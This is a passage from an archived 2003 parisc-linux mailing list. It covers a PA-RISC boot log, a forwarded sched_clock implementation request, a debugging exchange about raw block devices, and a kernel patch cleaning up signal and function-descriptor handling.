driver: sti (native)</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">mice: PS/2 mouse device common for =
all mice</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">HP SDC: No SDC found.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">HP SDC MLC: Registering the System =
Domain Controller's HIL MLC.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">HP SDC MLC: Request for raw HIL ISR =
hook denied</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">md: linear personality registered as =
nr 1</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">md: raid0 personality registered as =
nr 2</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">md: raid1 personality registered as =
nr 3</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">md: raid5 personality registered as =
nr 4</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">raid5: measuring checksumming =
speed</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; =
8regs&nbsp;&nbsp;&nbsp;&nbsp; :&nbsp; 3434.400 MB/sec</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; 8regs_prefetch:&nbsp; =
2515.600 MB/sec</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; 32regs&nbsp;&nbsp;&nbsp; =
:&nbsp; 2800.000 MB/sec</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; 32regs_prefetch:&nbsp; =
2640.000 MB/sec</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">raid5: using function: 8regs =
(3434.400 MB/sec)</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">md: md driver 0.90.0 =
MAX_MD_DEVS=3D256, MD_SB_DISKS=3D27</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">md: Autodetecting RAID arrays.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">md: autorun ...</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">md: ... autorun DONE.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">NET4: Linux TCP/IP 1.0 for =
NET4.0</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">IP Protocols: ICMP, UDP, TCP, =
IGMP</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">IP: routing cache hash table of 16384 =
buckets, 128Kbytes</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">TCP: Hash tables configured =
(established 262144 bind 65536)</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">NET4: Unix domain sockets 1.0/SMP for =
Linux NET4.0.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">VFS: Mounted root (ext2 filesystem) =
readonly.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Freeing unused kernel memory: 316k =
freed</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">********** VIRTUAL FRONT PANEL =
**********</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">System Boot detected</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">*****************************************</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">LEDs:&nbsp; =
RUN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ATTENTION&nbsp;&nbsp;&nbsp;&nbsp; =
FAULT&nbsp;&nbsp;&nbsp;&nbsp; REMOTE&nbsp;&nbsp;&nbsp;&nbsp; =
POWER</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
ON&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
FLASH&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
OFF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
ON&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ON</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">LED State: There was a system =
interruption that did not take the system down.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Check Chassis and Console Logs for =
error messages.</FONT>
</P>

<P><FONT SIZE=3D2 =
FACE=3D"Arial">processor&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; system =
initialization&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1C00</FONT>
</P>

<P><FONT SIZE=3D2 =
FACE=3D"Arial">*****************************************</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">************ EARLY BOOT VFP =
*************</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">End of early boot detected</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">*****************************************</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">System Clock set. System local time =
is now Thu Sep 18 18:46:58 UTC 2003.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Calculating module dependencies... =
depmod: Can't open /lib/modules/2.4.22-pa3/modules.dep for =
writing</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">done.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Loading modules: </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">modprobe: Can't open dependencies =
file /lib/modules/2.4.22-pa3/modules.dep (No such file or =
directory)</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Checking all file systems...</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">fsck 1.27 (8-Mar-2002)</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">/dev/sda2: clean, 20/48960 files, =
33836/195584 blocks</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Setting kernel variables.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Mounting local filesystems...</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">/dev/sda2 on /boot type ext2 =
(rw)</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Running 0dns-down to make sure =
resolv.conf is ok...done.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Cleaning: =
/etc/network/ifstate.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Setting up IP spoofing protection: =
rp_filter.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Configuring network interfaces: =
done.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Starting portmap daemon: =
portmap.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Starting portmapper... Mounting =
remote filesystems...</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Setting the System Clock using the =
Hardware Clock as reference...</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">System Clock set. Local time: Fri Sep =
19 00:17:02 IST 2003</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Cleaning: /tmp /var/lock eth0: Setting =
full-duplex based on MII#1 link partner capability of 41e1.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">/var/run.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Initializing random number =
generator... done.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Recovering nvi editor sessions... =
done.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">INIT: Entering runlevel: 2</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Starting system log daemon: =
syslogd.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Starting kernel log daemon: =
klogd.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Starting NFS common utilities: =
statd.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Starting internet superserver: =
inetd.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Exporting directories for NFS kernel =
daemon...done.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Starting NFS kernel daemon: nfsd =
mountd.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Starting deferred execution =
scheduler: atd.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Starting periodic command scheduler: =
cron.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Debian GNU/Linux 3.0 oak ttyS0</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">oak login: </FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">with warm regards,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Ranjith Sudarsanan</FONT>
</P>

<P><FONT SIZE=3D2 =
FACE=3D"Arial">--------------------------------------</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Ranjith Sudarsanan</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Rage</FONT><FONT SIZE=3D2 =
FACE=3D"Arial"> Team</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">30CA, Cunningham Road</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Bangalore</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">--------------------------------------</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&quot;</FONT><FONT SIZE=3D2 =
FACE=3D"Arial">When the head bows, it meets the heart and that =
head</FONT> <FONT SIZE=3D2 FACE=3D"Arial">w</FONT><FONT SIZE=3D2 =
FACE=3D"Arial">hich has</FONT><FONT SIZE=3D2 FACE=3D"Arial"></FONT> =
<FONT SIZE=3D2 FACE=3D"Arial">met</FONT><FONT SIZE=3D2 =
FACE=3D"Arial"></FONT> <FONT SIZE=3D2 FACE=3D"Arial">the heart gets the =
crown!!!</FONT><FONT SIZE=3D2 FACE=3D"Arial"> - Sri Sri&quot;</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C37E18.06CAF4E8--


From - Thu Nov 08 21:29:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] sched_clock implementation
Date: Thu, 18 Sep 2003 21:35:10 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <20030918203510.GD21596@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622783 31014 80.91.229.3 (22 Nov 2014 02:19:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:43 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 18 14:35:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id DC4104868
	for <parisc-linux@parisc-linux.org>; Thu, 18 Sep 2003 14:35:11 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A05Uc-0005nG-6Y
	for parisc-linux@parisc-linux.org; Thu, 18 Sep 2003 21:35:10 +0100
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19531

Anyone want to do better than the lame implementation?  ;-)

----- Forwarded message from Andrew Morton <akpm@osdl.org> -----

I'll be merging Ingo & Con's CPOU scheduler changes into Linus's tree soon.

It does require that the architecture provides a new timing function:

A lame implementation is:

/*
 * Returns nanoseconds
 */

unsigned long long sched_clock(void)
{
	return (unsigned long long)jiffies * (1000000000 / HZ);
}

But for best CPU scheduler results the architecture should try to return a
higher-resolution number than this of course.

sched_clock() has no absolute time requirements: it just has to return some
number which goes up by 1,000,000,000 times per second.

I already have implementations for x86, ppc, sparc64 and ia64.

I have a completely stupid ppc64 implementation which is only accurate on
1GHz CPUs.  Anton please note!

As for the rest, it'll break the build, sorry.

----- End forwarded message -----

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems with raw interface.
Date: Thu, 18 Sep 2003 17:00:05 -0600
Lines: 52
Approved: news@gmane.org
Message-ID: <20030918230005.GA2315@dsl2.external.hp.com>
References: <A11077E28200D51182EA00D0B7755253099DF4E0@xin02.india.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622783 31018 80.91.229.3 (22 Nov 2014 02:19:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "SUDARSANAN,RANJITH (HP-India,ex2)" <ranjith_sudarsanan@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 18 17:00:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id BC53F4841; Thu, 18 Sep 2003 17:00:05 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <A11077E28200D51182EA00D0B7755253099DF4E0@xin02.india.hp.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19532

On Fri, Sep 19, 2003 at 12:36:55AM +0530, SUDARSANAN,RANJITH (HP-India,ex2) wrote:
...
> oak:/home/sranjith# raw /dev/raw/rawsdb /dev/sdb
> /dev/raw/raw1:  bound to major 8, minor 16
> oak:/home/sranjith# raw /dev/raw/rawsda /dev/sda
> /dev/raw/raw2:  bound to major 8, minor 0
> 
> oak:/home/sranjith# raw -qa
> /dev/raw/raw1:  bound to major 8, minor 16
> /dev/raw/raw2:  bound to major 8, minor 0

I get the impression "raw" is ignoring your input parameter
to use /dev/raw/rawsdb and is using /dev/raw/raw<N> instead.
So it looks like you are comparing the wrong data...

root@debian:/dev# raw --help
raw: invalid option -- -
Usage:
  raw /dev/raw/rawN <major> <minor>
  raw /dev/raw/rawN /dev/<blockdev>
  raw -q /dev/raw/rawN
  raw -qa

What does "dd if=/dev/raw/raw2 of=/tmp/o_raw2 bs=512 count=8" result in?

Anyway, it looks broken for me too.
I tried using raw on 32-bit 2.4.20-pa28:

	raw /dev/raw/raw1 /dev/sda
	raw -qa
/dev/raw/raw1:  bound to major 8, minor 0
	dd if=/dev/raw/raw1 of=/tmp/raw1.o count=8
	/usr/bin/od -Ax -t x /tmp/raw1.o 
000000 00000000 00000000 00000000 00000000
*
001000


/dev/sda is the boot disk for this machine.

root@debian:/dev# /usr/bin/od -Ax -t x /dev/sda | less
000000 00000000 00000000 00000000 00000000
*
000400 40030800 60653403 00000000 0a086200
000410 cd700200 00000000 02000000 02000000
000420 00800000 00800000 40010000 371e6a3f
000430 371e6a3f 10001800 53ef0100 01000000
....


grant


From - Thu Nov 08 21:29:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: 18 Sep 2003 20:06:32 -0500
Lines: 241
Approved: news@gmane.org
Message-ID: <1063933596.2083.9.camel@mulgrave>
References: <20030919010356.148684940A4@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622784 31020 80.91.229.3 (22 Nov 2014 02:19:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:44 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 18 19:06:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 16F36486E; Thu, 18 Sep 2003 19:06:39 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h8J16XI03967;
	Thu, 18 Sep 2003 21:06:33 -0400
In-Reply-To: <20030919010356.148684940A4@palinux.hppa>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19533

On Thu, 2003-09-18 at 20:03, James Bottomley wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	jejb	03/09/18 19:03:56
> 
> Modified files:
> 	.              : Makefile 
> 	arch/parisc/kernel: module.c signal.c 
> 	include/asm-parisc: elf.h 
> 
> Log message:
> Clean up signal handling code:
> 
> - remove the less than helpful comments (and replace them with
> meaningful ones
> - get rid of the HACK macros
> - Unify the PLABEL function descriptor handling with modules.c

===== arch/parisc/kernel/module.c 1.8 vs edited =====
--- 1.8/arch/parisc/kernel/module.c	Wed Sep 10 00:44:18 2003
+++ edited/arch/parisc/kernel/module.c	Thu Sep 18 16:01:11 2003
@@ -73,10 +73,7 @@
 	Elf32_Addr addr;
 };
 
-struct fdesc_entry {
-	Elf32_Addr addr;
-	Elf32_Addr gp;
-};
+#define Elf_Fdesc	Elf32_Fdesc
 
 struct stub_entry {
 	Elf32_Word insns[2]; /* each stub entry has two insns */
@@ -86,11 +83,7 @@
 	Elf64_Addr addr;
 };
 
-struct fdesc_entry {
-	Elf64_Addr dummy[2];
-	Elf64_Addr addr;
-	Elf64_Addr gp;
-};
+#define Elf_Fdesc	Elf64_Fdesc
 
 struct stub_entry {
 	Elf64_Word insns[4]; /* each stub entry has four insns */
@@ -276,7 +269,7 @@
 
 	me->core_size = ALIGN(me->core_size, 16);
 	me->arch.fdesc_offset = me->core_size;
-	me->core_size += fdescs * sizeof(struct fdesc_entry);
+	me->core_size += fdescs * sizeof(Elf_Fdesc);
 
 	me->core_size = ALIGN(me->core_size, 16);
 	me->arch.stub_offset = me->core_size;
@@ -322,7 +315,7 @@
 #ifdef __LP64__
 static Elf_Addr get_fdesc(struct module *me, unsigned long value)
 {
-	struct fdesc_entry *fdesc = me->module_core + me->arch.fdesc_offset;
+	Elf_Fdesc *fdesc = me->module_core + me->arch.fdesc_offset;
 
 	if (!value) {
 		printk(KERN_ERR "%s: zero OPD requested!\n", me->name);
@@ -664,7 +657,7 @@
 				*loc64 = get_fdesc(me, val+addend);
 				DEBUGP("FDESC for %s at %p points to %lx\n",
 				       strtab + sym->st_name, *loc64,
-				       ((struct fdesc_entry *)*loc64)->addr);
+				       ((Elf_Fdesc *)*loc64)->addr);
 			} else {
 				/* if the symbol is not local to this
 				 * module then val+addend is a pointer
@@ -696,10 +689,10 @@
 	Elf_Sym *newptr, *oldptr;
 	Elf_Shdr *symhdr = NULL;
 #ifdef DEBUG
-	struct fdesc_entry *entry;
+	Elf_Fdesc *entry;
 	u32 *addr;
 
-	entry = (struct fdesc_entry *)me->init;
+	entry = (Elf_Fdesc *)me->init;
 	printk("FINALIZE, ->init FPTR is %p, GP %lx ADDR %lx\n", entry,
 	       entry->gp, entry->addr);
 	addr = (u32 *)entry->addr;
===== arch/parisc/kernel/signal.c 1.13 vs edited =====
--- 1.13/arch/parisc/kernel/signal.c	Wed Sep 10 00:44:19 2003
+++ edited/arch/parisc/kernel/signal.c	Thu Sep 18 17:49:36 2003
@@ -25,6 +25,7 @@
 #include <linux/unistd.h>
 #include <linux/stddef.h>
 #include <linux/compat.h>
+#include <linux/elf.h>
 #include <asm/ucontext.h>
 #include <asm/rt_sigframe.h>
 #include <asm/uaccess.h>
@@ -41,8 +42,11 @@
 
 #define _BLOCKABLE (~(sigmask(SIGKILL) | sigmask(SIGSTOP)))
 
-/* Use this to get at 32-bit user passed pointers. 
- *    See sys_sparc32.c for description about these. */
+/* gcc will complain if a pointer is cast to an integer of different
+ * size.  If you really need to do this (and we do for an ELF32 user
+ * application in an ELF64 kernel) then you have to do a cast to an
+ * integer of the same size first.  The A() macro accomplishes
+ * this. */
 #define A(__x)	((unsigned long)(__x))
 
 int do_signal(sigset_t *oldset, struct pt_regs *regs, int in_syscall);
@@ -271,7 +275,8 @@
 	       sigset_t *set, struct pt_regs *regs, int in_syscall)
 {
 	struct rt_sigframe *frame;
-	unsigned long rp, usp, haddr;
+	unsigned long rp, usp;
+	Elf32_Addr haddr;
 	struct siginfo si;
 	int err = 0;
 
@@ -308,64 +313,50 @@
 	}
 #endif
 
-#undef CACHE_FLUSHING_IS_NOT_BROKEN
-#ifdef CACHE_FLUSHING_IS_NOT_BROKEN
+	flush_user_dcache_range((unsigned long) &frame->tramp[0],
+			   (unsigned long) &frame->tramp[4]);
 	flush_user_icache_range((unsigned long) &frame->tramp[0],
 			   (unsigned long) &frame->tramp[4]);
-#else
-	/* It should *always* be cache line-aligned, but the compiler
-	sometimes screws up. */
-	asm volatile("fdc 0(%%sr3,%0)\n\t"
-		     "fdc %1(%%sr3,%0)\n\t"
-		     "sync\n\t"
-		     "fic 0(%%sr3,%0)\n\t"
-		     "fic %1(%%sr3,%0)\n\t"
-		     "sync\n\t"
-		      : : "r" (frame->tramp), "r" (L1_CACHE_BYTES));
-#endif
 
 	rp = (unsigned long) frame->tramp;
 
 	if (err)
 		goto give_sigsegv;
 
-/* Much more has to happen with signals than this -- but it'll at least */
-/* provide a pointer to some places which definitely need a look. */
-#define HACK u32
-
-	haddr = (HACK)A(ka->sa.sa_handler);
-	/* ARGH!  Fucking brain damage.  You don't want to know. */
-	if (haddr & 2) {
-		HACK *plabel;
-		HACK ltp;
-
-		plabel = (HACK *) (haddr & ~3);
-		err |= __get_user(haddr, plabel);
-		err |= __get_user(ltp, plabel + 1);
+	haddr = A(ka->sa.sa_handler);
+	/* The sa_handler may be a pointer to a function descriptor */
+	if (haddr & PA_PLABEL_FDESC) {
+		Elf32_Fdesc fdesc;
+		Elf32_Fdesc *ufdesc = (Elf32_Fdesc *)A(haddr & ~3);
+
+		err = __copy_from_user(&fdesc, ufdesc, sizeof(fdesc));
+
 		if (err)
 			goto give_sigsegv;
-		regs->gr[19] = ltp;
+
+		haddr = fdesc.addr;
+		regs->gr[19] = fdesc.gp;
 	}
 
 	/* The syscall return path will create IAOQ values from r31.
 	 */
 	if (in_syscall)
-		regs->gr[31] = (HACK) haddr;
+		regs->gr[31] = haddr;
 	else {
 		regs->gr[0] = USER_PSW;
-		regs->iaoq[0] = (HACK) haddr | 3;
+		regs->iaoq[0] = haddr | 3;
 		regs->iaoq[1] = regs->iaoq[0] + 4;
 	}
 
 	regs->gr[2]  = rp;                /* userland return pointer */
 	regs->gr[26] = sig;               /* signal number */
-	regs->gr[25] = (HACK)A(&frame->info); /* siginfo pointer */
-	regs->gr[24] = (HACK)A(&frame->uc);   /* ucontext pointer */
+	regs->gr[25] = A(&frame->info); /* siginfo pointer */
+	regs->gr[24] = A(&frame->uc);   /* ucontext pointer */
 	DBG(("making sigreturn frame: %#lx + %#x = %#lx\n",
 	       regs->gr[30], PARISC_RT_SIGFRAME_SIZE,
 	       regs->gr[30] + PARISC_RT_SIGFRAME_SIZE));
 	/* Raise the user stack pointer to make a proper call frame. */
-	regs->gr[30] = ((HACK)A(frame) + PARISC_RT_SIGFRAME_SIZE);
+	regs->gr[30] = (A(frame) + PARISC_RT_SIGFRAME_SIZE);
 
 	DBG(("SIG deliver (%s:%d): frame=0x%p sp=%#lx iaoq=%#lx/%#lx rp=%#lx\n",
 	       current->comm, current->pid, frame, regs->gr[30],
===== include/asm-parisc/elf.h 1.8 vs edited =====
--- 1.8/include/asm-parisc/elf.h	Wed Sep 10 00:44:23 2003
+++ edited/include/asm-parisc/elf.h	Thu Sep 18 16:07:25 2003
@@ -144,6 +144,30 @@
 #define R_PARISC_LTOFF_TP16DF	231	/* 16 bits LT-TP-rel. address.  */
 #define R_PARISC_HIRESERVE	255
 
+#define PA_PLABEL_FDESC		0x02	/* bit set if PLABEL points to
+					 * a function descriptor, not
+					 * an address */
+
+/* The following are PA function descriptors 
+ *
+ * addr:	the absolute address of the function
+ * gp:		either the data pointer (r27) for non-PIC code or the
+ *		the PLT pointer (r19) for PIC code */
+
+/* Format for the Elf32 Function descriptor */
+typedef struct elf32_fdesc {
+	__u32	addr;
+	__u32	gp;
+} Elf32_Fdesc;
+
+/* Format for the Elf64 Function descriptor */
+typedef struct elf64_fdesc {
+	__u64	dummy[2]; /* FIXME: nothing uses these, why waste
+			   * the space */
+	__u64	addr;
+	__u64	gp;
+} Elf64_Fdesc;
+
 /* Legal values for p_type field of Elf32_Phdr/Elf64_Phdr.  */
 
 #define PT_HP_TLS		(PT_LOOS + 0x0)




From - Thu Nov 08 21:29:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tilo Riemer <t.riemer@visoel.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] update of libc?
Date: Fri, 19 Sep 2003 08:40:42 +0200
Organization: Visoel GmbH
Lines: 9
Approved: news@gmane.org
Message-ID: <20030919084042.0000769d.t.riemer@visoel.de>
References: <20030918113157.000037fb.t.riemer@visoel.de>
	<20030918093850.GB12661@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622784 31021 80.91.229.3 (22 Nov 2014 02:19:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 19 00:38:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from natsmtp01.webmailer.de (natsmtp01.webmailer.de [192.67.198.81])
	by dsl2.external.hp.com (Postfix) with ESMTP id A87924875
	for <parisc-linux@lists.parisc-linux.org>; Fri, 19 Sep 2003 00:38:37 -0600 (MDT)
Original-Received: from volpus.visoel.me (pD9EB3655.dip.t-dialin.net [217.235.54.85])
